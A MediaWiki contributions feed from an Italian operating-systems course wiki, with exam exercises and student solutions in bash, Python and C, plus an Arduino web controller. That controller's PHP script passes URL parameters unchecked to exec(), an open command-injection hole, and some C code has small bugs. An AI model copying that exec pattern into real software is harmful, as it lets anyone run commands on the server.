Sistemi Operativi - User contributions [en]

Main Page

2015-04-17T09:22:35Z

GFede:

Questo è il Wiki del Corso di Sistemi Operativi

[[Linker fisico (Prova pratica 20-02-2014)]]

[[Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)]]

[[Aggiorna cartelle (Prova pratica 23-01-2014)]]

[[Esercizio 3 prova pratica 29 maggio 2014]]

[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]

[[Esercizio 1 Prova Pratica 12-09-11]]

[[Esercizio 1 Prova Pratica 25-01-2013]]

[[Esercizio 3 Prova Pratica 22-06-2011]]

[[Esercizio 3, prova pratica, 18-07-2013]]

[[Esercizio 3, prova pratica, 17-07-2014]]

[[Esercizio 1, prova pratica, 23-01-2014]]

[[Prova pratica Esercizio 3 esami 17_07_12 - 17_06_14 - 19_07_10]]

[[Prova pratica 23_01_14]]

[[Albero binario 2002-07-23]]

[[50 Sfumature di Fibonacci]]

[[Esercizio 1 Prova Pratica 20/06/12]]

[[Esercizio 3 Prova Pratica 17/06/14]]

[[Esercizio 3, prova pratica 13/09/2013]]

[[Prova pratica 17 07 14]]

[[Esercizio 1, prova pratica 20.01.2015]]

[[bash scripting 2002 gennaio]]

[[Process Race (Prova pratica 18-07-2013)]]

[[Arduino web controller]]

[[Esercizio 1, prova pratica 29.05.2013]]

[[Esercizio 1, prova pratica 29.05.2014]]

[[Esercizio 1, prova pratica 20.06.2013]]

[[Prova_pratica_21_01_15]]

[[Esercizio 1, prova pratica 17.06.2014]]

[[Esercizio 1 - 25.09.2014]]

[[Esercizio 1, prova pratica 20/02/2014]]

[[Demone ruba input]]

[[wifi daemon]]

[[Esercizio 1, prova pratica 13/09/2013]]

[[Problema Dei Filosofi]]

[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]

[[listx.h commentato + esempio su container_of]]

[[Congettura di Goldbach]]

[[list segments]]

[[Execv/fork su file aperto]]

[[Angry_Children]]

[[Esercizio 1, prova pratica 12/02/2009]]

[[(Programma C) Un quadrato nella matrice]]

[["classi"_in_C]]

[[Esempi del 02 dicembre 2014]]

[[Materiale dell'AA 2013-14]]
----
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]

Main Page

2015-04-17T09:21:46Z

GFede:

Questo è il Wiki del Corso di Sistemi Operativi

[[Aggiorna cartelle (Prova pratica 23-01-2014)]]

[[Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)]]

[[Esercizio 3 prova pratica 29 maggio 2014]]

[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]

[[Esercizio 1 Prova Pratica 12-09-11]]

[[Esercizio 1 Prova Pratica 25-01-2013]]

[[Esercizio 3 Prova Pratica 22-06-2011]]

[[Esercizio 3, prova pratica, 18-07-2013]]

[[Esercizio 3, prova pratica, 17-07-2014]]

[[Esercizio 1, prova pratica, 23-01-2014]]

[[Prova pratica Esercizio 3 esami 17_07_12 - 17_06_14 - 19_07_10]]

[[Prova pratica 23_01_14]]

[[Albero binario 2002-07-23]]

[[50 Sfumature di Fibonacci]]

[[Esercizio 1 Prova Pratica 20/06/12]]

[[Esercizio 3 Prova Pratica 17/06/14]]

[[Esercizio 3, prova pratica 13/09/2013]]

[[Prova pratica 17 07 14]]

[[Esercizio 1, prova pratica 20.01.2015]]

[[bash scripting 2002 gennaio]]

[[Process Race (Prova pratica 18-07-2013)]]

[[Arduino web controller]]

[[Esercizio 1, prova pratica 29.05.2013]]

[[Esercizio 1, prova pratica 29.05.2014]]

[[Esercizio 1, prova pratica 20.06.2013]]

[[Prova_pratica_21_01_15]]

[[Esercizio 1, prova pratica 17.06.2014]]

[[Esercizio 1 - 25.09.2014]]

[[Esercizio 1, prova pratica 20/02/2014]]

[[Demone ruba input]]

[[wifi daemon]]

[[Esercizio 1, prova pratica 13/09/2013]]

[[Problema Dei Filosofi]]

[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]

[[listx.h commentato + esempio su container_of]]

[[Congettura di Goldbach]]

[[list segments]]

[[Execv/fork su file aperto]]

[[Angry_Children]]

[[Esercizio 1, prova pratica 12/02/2009]]

[[(Programma C) Un quadrato nella matrice]]

[["classi"_in_C]]

[[Esempi del 02 dicembre 2014]]

[[Materiale dell'AA 2013-14]]
----
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]

Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)

2015-04-17T09:20:57Z

GFede:

<source lang="text">

Esercizio 2 Script bash o Python: (10 punti):
Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorgente).
Lo script deve cercare i file .c e .h presenti nei due sottoalberi evidenziando:

– quali sono presenti in un solo sottoalbero
– quali sono presenti in entrambi i sottoalberi ma hanno contenuto differente.

Es:
cmpsource so.1.0 so.1.1
so.1.0/file.c not in so.1.1
so.1.0/p/q/search.c so.1.1/p/q/search.c differ
so.1.1/h/head.h not in so.1.0

(L'ordine delle segnalazioni in output non e' importante).

</source>

== Soluzione di Federico Giuggioloni in BASH ==

<source lang="bash">
#!/bin/bash

if [[ $# < 2 ]] ; then
echo "Usage: cmpsource dir1 dir2"
exit 1
fi

DIR1=$1
DIR2=$2

if [[ $DIR1 != */ ]] ; then
DIR1="${DIR1}/"
fi

if [[ $DIR2 != */ ]] ; then
DIR2="${DIR2}/"
fi

RIS1=`find $DIR1 -regex "^.*\.[hc]$" | sort | cut -d "/" -f 2-`
RIS2=`find $DIR2 -regex "^.*\.[hc]$" | sort | cut -d "/" -f 2-`

IN1=`comm -2 -3 <(echo "$RIS1") <(echo "$RIS2")`
IN2=`comm -1 -3 <(echo "$RIS1") <(echo "$RIS2")`
COMMON=`comm -1 -2 <(echo "$RIS1") <(echo "$RIS2")`

echo

for NAME in `echo "$IN1"` ; do
echo "${DIR1%?}${NAME} not in ${DIR2}"
done

echo

for NAME in `echo "$IN2"` ; do
echo "${DIR2%?}${NAME} not in ${DIR1}"
done

echo

for NAME in `echo "$COMMON"` ; do
if ! cmp -s ${DIR1%?}${NAME} ${DIR2%?}${NAME}
then echo "${DIR1%?}${NAME} differs from ${DIR2%?}${NAME}"
fi
done

echo

exit 0
</source>

== Soluzione di Federico Giuggioloni in Python 3 ==
<source lang="python">
#!/usr/bin/env python3
import os
import sys
import filecmp

dir1 = sys.argv[1]
dir2 = sys.argv[2]

lendir1 = len(dir1)
lendir2 = len(dir2)

list1 = []
list2 = []

for dirpath, dirnames, filenames in os.walk(dir1):
for filename in sorted(filenames):
if filename.endswith(".c") or filename.endswith(".h"):
list1.append((os.path.join(dirpath, filename))[lendir1:])

for dirpath, dirnames, filenames in os.walk(dir2):
for filename in sorted(filenames):
if filename.endswith(".c") or filename.endswith(".h"):
list2.append((os.path.join(dirpath, filename))[lendir2:])

for name in list1:
if name not in list2:
print(dir1 + name + " not in " + dir2)

for name in list2:
if name not in list1:
print(dir2 + name + " not in " + dir1)
if name in list1:
if not filecmp.cmp(dir1 + name, dir2 + name):
print(dir1 + name + " differs from " + dir2 + name)
</source>

Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)

2015-04-17T09:19:20Z

GFede:

Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)

2015-04-15T11:40:08Z

GFede:

Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)

2015-04-15T11:31:48Z

GFede: Created page with "<source lang="text"> Esercizio 2 Script bash o Python: (10 punti): Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorge..."

Main Page

2015-04-15T11:28:58Z

GFede:

Questo è il Wiki del Corso di Sistemi Operativi

[[Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)]]

[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]

[[Esercizio 1 Prova Pratica 12-09-11]]

[[Esercizio 1 Prova Pratica 25-01-2013]]

[[Esercizio 3 Prova Pratica 22-06-2011]]

[[Esercizio 3, prova pratica, 18-07-2013]]

[[Esercizio 3, prova pratica, 17-07-2014]]

[[Esercizio 1, prova pratica, 23-01-2014]]

[[Prova pratica Esercizio 3 esami 17_07_12 - 17_06_14 - 19_07_10]]

[[Prova pratica 23_01_14]]

[[Albero binario 2002-07-23]]

[[50 Sfumature di Fibonacci]]

[[Esercizio 1 Prova Pratica 20/06/12]]

[[Esercizio 3 Prova Pratica 17/06/14]]

[[Esercizio 3, prova pratica 13/09/2013]]

[[Prova pratica 17 07 14]]

[[Esercizio 1, prova pratica 20.01.2015]]

[[bash scripting 2002 gennaio]]

[[Process Race (Prova pratica 18-07-2013)]]

[[Arduino web controller]]

[[Esercizio 1, prova pratica 29.05.2013]]

[[Esercizio 1, prova pratica 29.05.2014]]

[[Esercizio 1, prova pratica 20.06.2013]]

[[Prova_pratica_21_01_15]]

[[Esercizio 1, prova pratica 17.06.2014]]

[[Esercizio 1 - 25.09.2014]]

[[Esercizio 1, prova pratica 20/02/2014]]

[[Demone ruba input]]

[[wifi daemon]]

[[Esercizio 1, prova pratica 13/09/2013]]

[[Problema Dei Filosofi]]

[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]

[[listx.h commentato + esempio su container_of]]

[[Congettura di Goldbach]]

[[list segments]]

[[Execv/fork su file aperto]]

[[Angry_Children]]

[[Esercizio 1, prova pratica 12/02/2009]]

[[(Programma C) Un quadrato nella matrice]]

[["classi"_in_C]]

[[Esempi del 02 dicembre 2014]]

[[Materiale dell'AA 2013-14]]
----
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]

Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)

2015-04-10T08:54:51Z

GFede: /* Soluzione di Federico Giuggioloni usando Python (2.7.6) */

<source lang="text">
Esercizio 3: Script bash o Python: (10 punti):
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso
(i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.

Es:
$ suffixlen dir
.c: 44320
.o: 123000
.tar.gz: 555333
.jpg: 44332

</source>

== Soluzione di Federico Giuggioloni usando bash ==

<source lang="bash">
#!/bin/bash
DIR=$1

echo

for NAME in `find $DIR -name "*.*" -exec basename {} \; | sort -u -k2 -t.` ; do

if [[ $NAME != *"."* ]] ; then
continue
fi

SUFFIX=${NAME#*.}

echo -ne ".${SUFFIX}: "
TEST=`find $DIR -name "*.${SUFFIX}" -exec wc -c {} + | tail -1`
echo $TEST | cut -d " " -f 1

done

echo
</source>

== Soluzione di Federico Giuggioloni usando Python (2.7.6) ==

Non so come eliminare lo spazio aggiunto dalla print tra gli elementi separati dalla virgola.
Per il resto l'output è lo stesso di quello in bash.

<source lang="python">
import os
import sys

rootdir = sys.argv[1]
extsize = {}

print

for root, subFolders, files in os.walk(rootdir):

for file in files:
fp = os.path.join(root, file)
size = os.path.getsize(fp)
extension = file.split(".")[-1]
if extension in extsize:
extsize[extension] += size
else:
extsize[extension] = size

for key in extsize:
print ".", key, ":", extsize[key]

print
</source>

Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)

2015-04-10T08:53:43Z

GFede:

<source lang="text">
Esercizio 3: Script bash o Python: (10 punti):
Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una directory divisi per suffisso
(i.e. Si considera suffisso tutto cio' che segue il primo carattere 'punto' nel filename). I file privi di suffisso vengono ignorati.

Es:
$ suffixlen dir
.c: 44320
.o: 123000
.tar.gz: 555333
.jpg: 44332

</source>

== Soluzione di Federico Giuggioloni usando bash ==

<source lang="bash">
#!/bin/bash
DIR=$1

echo

for NAME in `find $DIR -name "*.*" -exec basename {} \; | sort -u -k2 -t.` ; do

if [[ $NAME != *"."* ]] ; then
continue
fi

SUFFIX=${NAME#*.}

echo -ne ".${SUFFIX}: "
TEST=`find $DIR -name "*.${SUFFIX}" -exec wc -c {} + | tail -1`
echo $TEST | cut -d " " -f 1

done

echo
</source>

== Soluzione di Federico Giuggioloni usando Python (2.7.6) ==
<source lang="python">
import os
import sys

rootdir = sys.argv[1]
extsize = {}

print

for root, subFolders, files in os.walk(rootdir):

for file in files:
fp = os.path.join(root, file)
size = os.path.getsize(fp)
extension = file.split(".")[-1]
if extension in extsize:
extsize[extension] += size
else:
extsize[extension] = size

for key in extsize:
print ".", key, ":", extsize[key]

print
</source>

Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)

2015-04-10T08:01:17Z

GFede: /* Soluzione di Federico Giuggioloni usando bash */

Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)

2015-04-09T20:47:25Z

GFede:

Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)

2015-04-09T20:45:56Z

GFede: Created page with "<source lang="text"> Esercizio 3: Script bash o Python: (10 punti): Scrivere un programma python o uno script bash che conti l'ampiezza totale in byte di tutti i file di una d..."

Main Page

2015-04-09T20:43:53Z

GFede:

Questo è il Wiki del Corso di Sistemi Operativi

[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]

[[Albero binario 2002-07-23]]

[[50 Sfumature di Fibonacci]]

[[Esercizio 1 Prova Pratica 20/06/12]]

[[Esercizio 3 Prova Pratica 17/06/14]]

[[Esercizio 3, prova pratica 13/09/2013]]

[[Prova pratica 17 07 14]]

[[Esercizio 1, prova pratica 20.01.2015]]

[[bash scripting 2002 gennaio]]

[[Process Race (Prova pratica 18-07-2013)]]

[[Arduino web controller]]

[[Esercizio 1, prova pratica 29.05.2013]]

[[Esercizio 1, prova pratica 29.05.2014]]

[[Esercizio 1, prova pratica 20.06.2013]]

[[Prova_pratica_21_01_15]]

[[Esercizio 1, prova pratica 17.06.2014]]

[[Esercizio 1 - 25.09.2014]]

[[Esercizio 1, prova pratica 20/02/2014]]

[[Demone ruba input]]

[[wifi daemon]]

[[Esercizio 1, prova pratica 13/09/2013]]

[[Problema Dei Filosofi]]

[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]

[[listx.h commentato + esempio su container_of]]

[[Congettura di Goldbach]]

[[list segments]]

[[Execv/fork su file aperto]]

[[Angry_Children]]

[[Esercizio 1, prova pratica 12/02/2009]]

[[(Programma C) Un quadrato nella matrice]]

[["classi"_in_C]]

[[Esempi del 02 dicembre 2014]]

[[Materiale dell'AA 2013-14]]
----
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]

Main Page

2015-03-26T16:53:29Z

GFede:

Questo è il Wiki del Corso di Sistemi Operativi

[[Process Race (Prova pratica 18-07-2013)]]

[[Arduino web controller]]

[[Esercizio 1, prova pratica 29.05.2013]]

[[Esercizio 1, prova pratica 29.05.2014]]

[[Esercizio 1, prova pratica 20.06.2013]]

[[Prova_pratica_21_01_15]]

[[Esercizio 1, prova pratica 17.06.2014]]

[[Esercizio 1 - 25.09.2014]]

[[Esercizio 1, prova pratica 20/02/2014]]

[[Demone ruba input]]

[[wifi daemon]]

[[Esercizio 1, prova pratica 13/09/2013]]

[[Problema Dei Filosofi]]

[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]

[[listx.h commentato + esempio su container_of]]

[[Congettura di Goldbach]]

[[list segments]]

[[Execv/fork su file aperto]]

[[Angry_Children]]

[[Esercizio 1, prova pratica 12/02/2009]]

[[(Programma C) Un quadrato nella matrice]]

[["classi"_in_C]]

[[Esempi del 02 dicembre 2014]]

[[Materiale dell'AA 2013-14]]
----
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]

Process Race (Prova pratica 18-07-2013)

2015-03-26T16:52:22Z

GFede: /* Soluzione di Federico Giuggioloni */

<source lang="text">
Esercizio 1: Linguaggio C (obbligatorio): (20 punti)
Una gara fra processi.
Scrivere un programma C che prenda in input (da standard input) alcune righe contenenti comandi con relativi parametri. La lista dei comandi termina quando viene inserita una riga vuota.
A questo punto tutti i comandi vengono eseguiti in modo concorrente e deve venir stampato l'ordine di terminazione.
(E' vietato usare system, popen o simili)
Es.
$ prorace
sleep 30
sleep 10
sleep 20
ls -l
input di una riga vuota .... output di ls -l ....
1 arrivato: ls -l
2 arrivato: sleep 10
3 arrivato: sleep 20
4 arrivato: sleep 30

Esercizio 2: completamento (10 punti)
Si estenda l'esercizio 1 in modo da avere una partenza piu' sincronizzata dei processi.
Tutti i processi devono attendere un evento che li sblocchi tutti insieme, per esempio tutti i processi possono mettersi in
attesa con poll o select sul canale di lettura di una pipe. Quando “prorace” scrive un carattere sulla pipe tutti i processi diventano ready.
</source>

== Soluzione di Federico Giuggioloni ==

<source lang="c">
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <poll.h>
#include <string.h>

struct list_el
{
pid_t pid;
char* comando;
struct list_el* next;
};

void insert_el(struct list_el** head, char* command, pid_t id)
{
struct list_el *new_el = malloc(sizeof(struct list_el));
new_el->comando = malloc(sizeof(char) * strlen(command) + 1);
strcpy(new_el->comando, command);
new_el->next = NULL;
new_el->pid = id;

if(*head == NULL)
{
*head = new_el;
}
else
{
struct list_el* tmp = (*head)->next;
(*head)->next = new_el;
new_el->next = tmp;
}

}

int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;
int size = 2;

char* ptr = string;
while(*ptr != 0)
{
if(*ptr == *delim) size++;
ptr++;
}

if(*split == NULL)
{
*split = malloc(sizeof(char*) * size);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

i++;
}

(*split)[i] = (char*) 0;

free(tofree);
return i;
}

struct list_el* head = NULL;

char* printNamePid(pid_t pid)
{
struct list_el* p = head;
while(p != NULL)
{
if(p->pid == pid) return p->comando;
p = p->next;
}
}

int main(int argc, char* argv[])
{
int n;
char *string;
string = NULL;//malloc(MAX_BUFF * sizeof(char));
int bytes_read;
pid_t pid;
char** splitargs = NULL;
char delim = ' ';
int nFork = 0;
int err;
int pipe_read = 0;
char pipe_char = ' ';

int pipefd[2];
pipe(pipefd);

struct pollfd pipe_read_poll;
pipe_read_poll.fd = pipefd[0];
pipe_read_poll.events = POLLIN;

while((bytes_read = getline(&string, &n, stdin)) != 0)
{
if(strcmp(string, "\n") == 0) break;

string[strlen(string)-1] = 0;
strspl(&splitargs, string, &delim);

pid = fork();
switch(pid)
{
case -1:
printf("Error fork: %s (%d)", strerror(errno), errno);
exit(2);
break;
case 0:
//pipe_read = read(pipefd[0], &pipe_read, 1);
poll(&pipe_read_poll, 1, -1);
err = execvp(splitargs[0], splitargs);
if(err < 0)
{
printf("Error exec: %s (%d)", strerror(errno), errno);
exit(1);
}
exit(0);
break;
default: //PADRE, continua pure
nFork++;
insert_el(&head, string, pid);
break;
}

//free(splitargs); //TODO anche di tutte le stringhe all'interno
splitargs = NULL;
}

int status = 0;
char buf = 'g';
char* comando = NULL;
int ordineArrivo[nFork];
int i = 0;

write(pipefd[1], &buf, 1);

while(i < nFork)
{
pid = wait(&status);
ordineArrivo[i] = pid;
i++;
}

printf("\n\n");
for(i = 0; i < nFork; i++)
{
comando = printNamePid(ordineArrivo[i]);
printf("%d : %s Terminated\n", i, comando);
}
return 0;
}
</source>

Process Race (Prova pratica 18-07-2013)

2015-03-26T16:51:51Z

GFede: Created page with "<source lang="text"> Esercizio 1: Linguaggio C (obbligatorio): (20 punti) Una gara fra processi. Scrivere un programma C che prenda in input (da standard input) alcune righe c..."

<source lang="text">
Esercizio 1: Linguaggio C (obbligatorio): (20 punti)
Una gara fra processi.
Scrivere un programma C che prenda in input (da standard input) alcune righe contenenti comandi con relativi parametri. La lista dei comandi termina quando viene inserita una riga vuota.
A questo punto tutti i comandi vengono eseguiti in modo concorrente e deve venir stampato l'ordine di terminazione.
(E' vietato usare system, popen o simili)
Es.
$ prorace
sleep 30
sleep 10
sleep 20
ls -l
input di una riga vuota .... output di ls -l ....
1 arrivato: ls -l
2 arrivato: sleep 10
3 arrivato: sleep 20
4 arrivato: sleep 30

Esercizio 2: completamento (10 punti)
Si estenda l'esercizio 1 in modo da avere una partenza piu' sincronizzata dei processi.
Tutti i processi devono attendere un evento che li sblocchi tutti insieme, per esempio tutti i processi possono mettersi in
attesa con poll o select sul canale di lettura di una pipe. Quando “prorace” scrive un carattere sulla pipe tutti i processi diventano ready.
</source>

== Soluzione di Federico Giuggioloni ==

<source lang="c">
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <poll.h>
#include <string.h>

struct list_el
{
pid_t pid;
char* comando;
struct list_el* next;
};

void insert_el(struct list_el** head, char* command, pid_t id)
{
struct list_el *new_el = malloc(sizeof(struct list_el));
new_el->comando = malloc(sizeof(char) * strlen(command) + 1);
strcpy(new_el->comando, command);
new_el->next = NULL;
new_el->pid = id;

if(*head == NULL)
{
*head = new_el;
}
else
{
struct list_el* tmp = (*head)->next;
(*head)->next = new_el;
//(*head)->next = NULL;
new_el->next = tmp;
}

}

int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;
int size = 2;

char* ptr = string;
while(*ptr != 0)
{
if(*ptr == *delim) size++;
ptr++;
}

if(*split == NULL)
{
*split = malloc(sizeof(char*) * size);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

i++;
}

(*split)[i] = (char*) 0;

free(tofree);
return i;
}

struct list_el* head = NULL;

char* printNamePid(pid_t pid)
{
struct list_el* p = head;
while(p != NULL)
{
if(p->pid == pid) return p->comando;
p = p->next;
}
}

int main(int argc, char* argv[])
{
int n;
char *string;
string = NULL;//malloc(MAX_BUFF * sizeof(char));
int bytes_read;
pid_t pid;
char** splitargs = NULL;
char delim = ' ';
int nFork = 0;
int err;
int pipe_read = 0;
char pipe_char = ' ';

int pipefd[2];
pipe(pipefd);

struct pollfd pipe_read_poll;
pipe_read_poll.fd = pipefd[0];
pipe_read_poll.events = POLLIN;

while((bytes_read = getline(&string, &n, stdin)) != 0)
{
if(strcmp(string, "\n") == 0) break;

string[strlen(string)-1] = 0;
strspl(&splitargs, string, &delim);

pid = fork();
switch(pid)
{
case -1:
printf("Error fork: %s (%d)", strerror(errno), errno);
exit(2);
break;
case 0:
//pipe_read = read(pipefd[0], &pipe_read, 1);
poll(&pipe_read_poll, 1, -1);
err = execvp(splitargs[0], splitargs);
if(err < 0)
{
printf("Error exec: %s (%d)", strerror(errno), errno);
exit(1);
}
exit(0);
break;
default: //PADRE, continua pure
nFork++;
insert_el(&head, string, pid);
break;
}

//free(splitargs); //TODO anche di tutte le stringhe all'interno
splitargs = NULL;
}

int status = 0;
char buf = 'g';
char* comando = NULL;
int ordineArrivo[nFork];
int i = 0;

write(pipefd[1], &buf, 1);

while(i < nFork)
{
pid = wait(&status);
ordineArrivo[i] = pid;
i++;
}

printf("\n\n");
for(i = 0; i < nFork; i++)
{
comando = printNamePid(ordineArrivo[i]);
printf("%d : %s Terminated\n", i, comando);
}
return 0;
}
</source>

Arduino web controller

2015-03-24T15:28:44Z

GFede:

== Federico Giuggioloni ==

Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.
se n e' minore di 10 manda a LOW al numero specificato, se e' di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.

Sketch Arduino:
<source lang="c">
int incomingByte = -1;

void setup()
{
// Open serial communications and wait for port to open:
Serial.begin(9600); //57600

pinMode(8, OUTPUT);

Serial.println("Hello world!");
}

void loop() // run over and over
{
if (Serial.available() > 0)
{
incomingByte = Serial.read();
Serial.print("I received: ");
Serial.println(incomingByte, DEC);

if( incomingByte < 10 )
{
digitalWrite(incomingByte, LOW);
}
else if(incomingByte < 20)
{
digitalWrite(incomingByte-10, HIGH);
}
}
}
</source>

Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:
<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

#define MAXIMUM_CHAIN 16

void usage()
{
printf("Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n");
exit(1);
}

void checkError(int result)
{
if(result < 0)
{
printf("Error: %s (%i)\n", strerror(errno), errno);
exit(1);
}
}

/**
* strspl
* @author Federico Giuggioloni
* Splits a string and allocates memory for an array
* which contains the result of the split.
*
* @param char*** split a pointer to a string array,
* can be null. after the call, it'll be an
* array with the required elements.
* @param char* string a pointer to the string to split
* @param const char* delim a pointer to the delimiter.
* @return number of elements in the split array
*/
int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;

if(*split == NULL)
{
*split = malloc(sizeof(char*) * MAXIMUM_CHAIN);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

printf("%s\n", result);

i++;
}

free(tofree);
return i;
}

/**
* read_commands
* @author Federico Giuggioloni
* Reads commands from an array produced by strspl
*
* @return integer determining which action has to be executed
* (HINTHINT Send it directly to arduino)
*/
char read_commands(char** commands, int argc)
{
int action = 0;
int pin;

if(strcmp(commands[0], "LED") == 0)
{
if(strcmp(commands[1], "ON") == 0)
{
pin = atoi(commands[2]);
action = 10 + pin;
}
else if(strcmp(commands[2], "OFF") == 0)
{
pin = atoi(commands[2]);
action = 0 + pin;
}
}
else if(strcmp(commands[0], "SEND") == 0)
{
action = atoi(commands[1]);
}

return action;//TODO
}

int main(int argc, char* argv[])
{
if(argc < 1) usage();

int fd;
int i;
char* message;
size_t size = 1024;
int read;
char** split = NULL;
int tokens;
char delim = ' ';
char read_command = 0;

message = malloc(size);

fd = open(argv[1], O_RDWR);
checkError(fd);

if(argc > 2)
{
read_command = read_commands(argv+2, argc-2);
write(fd, &read_command, 1);
exit(0);
}

do
{
read = getline(&message, &size, stdin);

tokens = strspl(&split, message, &delim);

read_command = read_commands(split, tokens);
write(fd, &read_command, 1);

}while(1);

return 0;
}
</source>

Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.

<source lang="php">
<?php

if(isset($_GET["script"]) && isset($_GET["args"]))
{
$result = exec($_GET["script"]." ".$_GET["args"]."", $output, $return);
echo $_GET["script"]." ".$_GET["args"]." called, result = $result! ";

if(!$return)
{
echo "Succesful! ";
}
else
{
echo "No. ";
}

echo "$output ";
echo "$result ";
}

?>
</source>

Arduino web controller

2015-03-24T14:10:24Z

GFede:

== Federico Giuggioloni ==

Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.
se n e' minore di 10 manda a LOW al numero specificato, se e' di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.

Sketch Arduino:
<source lang="c">
int incomingByte = -1;

void setup()
{
// Open serial communications and wait for port to open:
Serial.begin(9600); //57600

pinMode(8, OUTPUT);

Serial.println("Hello world!");
}

void loop() // run over and over
{
if (Serial.available() > 0)
{
incomingByte = Serial.read();
Serial.print("I received: ");
Serial.println(incomingByte, DEC);

if( incomingByte < 10 )
{
digitalWrite(incomingByte, LOW);
}
else if(incomingByte < 20)
{
digitalWrite(incomingByte-10, HIGH);
}
}
}
</source>

Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:
<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

#define MAXIMUM_CHAIN 16

void usage()
{
printf("Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n");
exit(1);
}

void checkError(int result)
{
if(result < 0)
{
printf("Error: %s (%i)\n", strerror(errno), errno);
exit(1);
}
}

/**
* strspl
* @author Federico Giuggioloni
* Splits a string and allocates memory for an array
* which contains the result of the split.
*
* @param char*** split a pointer to a string array,
* can be null. after the call, it'll be an
* array with the required elements.
* @param char* string a pointer to the string to split
* @param const char* delim a pointer to the delimiter.
* @return number of elements in the split array
*/
int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;

if(*split == NULL)
{
*split = malloc(sizeof(char*) * MAXIMUM_CHAIN);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

printf("%s\n", result);

i++;
}

free(tofree);
return i;
}

/**
* read_commands
* @author Federico Giuggioloni
* Reads commands from an array produced by strspl
*
* @return integer determining which action has to be executed
* (HINTHINT Send it directly to arduino)
*/
